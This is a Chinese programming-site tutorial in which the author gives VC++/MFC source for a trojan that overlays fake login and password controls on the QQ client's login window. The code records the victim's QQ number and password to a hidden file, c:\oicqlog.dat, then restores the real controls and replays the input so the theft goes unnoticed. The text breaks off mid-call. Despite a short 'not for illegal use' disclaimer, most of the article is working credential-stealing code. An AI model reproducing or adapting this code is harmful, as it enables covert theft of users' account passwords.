当前位置: 首页 > 图文教程 > 开发语言 > VC++ > 黑客攻击手段之偷梁换柱

VC++
在类VC的界面实现中加入目录树
软件换肤技术在 BCB 中的实现
利用非模窗口生成MDI介面
报表输出轻松搞定
Windows 中不规则窗体的编程实现
解说Win32的窗口子类化
使用测试优先方法开发用户界面
一个简单的登录对话框的实现
一个简单的日记本程序
从资源中加载皮肤
一个在RichEdit中添加表情图象的类
ActiveSkin 4.3 软件换肤在VC中的实现
一种另类“关于(About)”对话框的动态显示方法
对话框打印预览及打印
关于如何换肤、子类化的解决方案
制作 MSN、QQ 的消息提示窗口
如何对 BCGControlBarPro 进行换肤
定制个性化的对话框窗口类
改变窗口中的光标形状
更新MFC中的视图,跟踪.NET Framework中的事件

VC++ 中的 黑客攻击手段之偷梁换柱


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 58 ::
收藏到网摘: n/a


黑客攻击手段之偷梁换柱
作者:何建敏

申明:本文旨在分析黑客攻击的手段,请勿用于非法目的!

Internet的发展,带动了IT界的一次大飞跃,黑客的活动也随之日益猖獗,攻击手法不断变化。各种黑客程序也是层出不穷,木马程序更是花样百出。如:监视键盘按键、替换登录程序等,现在我就来介绍另一种攻击手法,替换登录程序按钮。这招绝吧!现在我就来将方法介绍一下。
就拿我们很熟悉的OICQ来作一个例子,看看程序到底是如何实现偷梁换柱的。要替换OICQ的登录程序的按钮与密码框,首先就得捕获OICQ登录程序的登录按钮和密码框句柄。哈哈,要是换上了我们自己的按钮与密码框,不就是想干什么就干什么了吗。

示例源代码下载 大小:24K


如上图所示,我们要取得4个CWnd句柄,分另是:用户号码的CComBox、用户口令CEdit、登录按扭CButton、主对话框句柄。
m_hOicq=FindWindow(NULL,"QQ用户登录");m_hOk=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"BUTTON","登录"));m_hEdit=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"EDIT",NULL));m_hCom=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"ComboBox",NULL));///上面的m_hOicq,m_hOk,m_hEdit,m_hCom分别为CWnd *类型 
有了这四个句柄,接下来的事就好办多了,那现在我们就直接生成一个按扭和一个编辑框吧。代码如下
CFont *m_font=m_hOk->GetFont();CFont *m_font1=m_hEdit->GetFont();CRect rect;CRect rect1;m_hOk->GetWindowRect(rect);m_hOk->ScreenToClient(rect);m_hEdit->GetWindowRect(rect1);m_hEdit->ScreenToClient(rect1);rect.left+=14;rect.top+=117;rect.bottom+=117;rect.right+=14;rect1.left+=110;rect1.top+=56;rect1.bottom+=56;rect1.right+=110;m_hOk->ShowWindow(SW_HIDE);//隐藏登录按钮m_hEdit->ShowWindow(SW_HIDE);//银藏密码框if(m_button.Create("登录",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON,rect,m_hOicq,IDC_STARTBUTTON)==FALSE)	MessageBox("error");m_button.SetFont(m_font,TRUE);m_button.SetWnd(this);m_button.SetID(IDC_STARTBUTTON);if(m_edit.CreateEx(0x204,"Edit","",0x500100A0,rect1,m_hOicq,IDC_MYEDIT)==FALSE)	MessageBox("error1");m_edit.SetFont(m_font1,TRUE);m_edit.SetFocus();m_edit.SetWnd(this);
上面代码中的m_button为CMyButton类型变量,m_edit为CMyEdit类型变量,请继续往下看。

这两个控件生成了!但是光生成两个控件还没用,我们得让两个控件告诉我们什么时候按了回车,什么时候点击了Mouse左键。那就得对EDIT、BUTTON做一下处理才行。用ClassWinzard生成二个派生类CMyEdit、CMyButton,分别生成WM_LBUTTONUP、PreTranslateMessage,让它处理相应的按键事件。并通讯事件发个消息给我的主对话框,那就要取得我的对话框的句柄,在两个派生类中分别生成函数
SetWnd(CWnd *pWnd)用于告知主对话框的窗口句柄。
在CMyEdit的 PreTranslateMessage(MSG* pMsg)中输入
if(pMsg->message==WM_KEYDOWN){	if(pMsg->wParam==VK_RETURN)	m_wnd->SendMessage(WM_ButtonDown,0,0);}

在CMyButton的OnLButtonUp(UINT nFlags, CPoint point)中输入
m_wnd->SendMessage(WM_ButtonDown,0,0);

以上将一个消息发送到我的对话框,我得把消息处里一下,做的干净漂亮些,这样用的人才不会知道我个木马程序在偷偷监视他们
CString Password,cc;char LoginName[20] ;memset(LoginName,0,20);::SendMessage(m_hCom->GetSafeHwnd(), WM_GETTEXT, 20, (LPARAM)LoginName);m_edit.GetWindowText(Password);m_edit.ShowWindow(SW_HIDE);m_hEdit->ShowWindow(SW_SHOW);m_hOk->ShowWindow(SW_SHOW);cc=0x0d;cc+=0x0a;CFileFind m_find;CFile m_file;if(!m_find.FindFile("c:\\oicqlog.dat"))	m_file.Open("c:\\oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);else{	m_file.Open("c:\\oicqlog.dat",CFile::modeWrite);	m_file.SeekToEnd();}m_file.Write(cc,cc.GetLength());m_file.Write(LoginName,sizeof(LoginName));m_file.Write(cc,cc.GetLength());m_file.Write(Password,Password.GetLength());m_file.Close();m_hEdit->SetFocus();char *ee=Password.GetBuffer(Password.GetLength());::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);keybd_event(VK_RETURN,0,0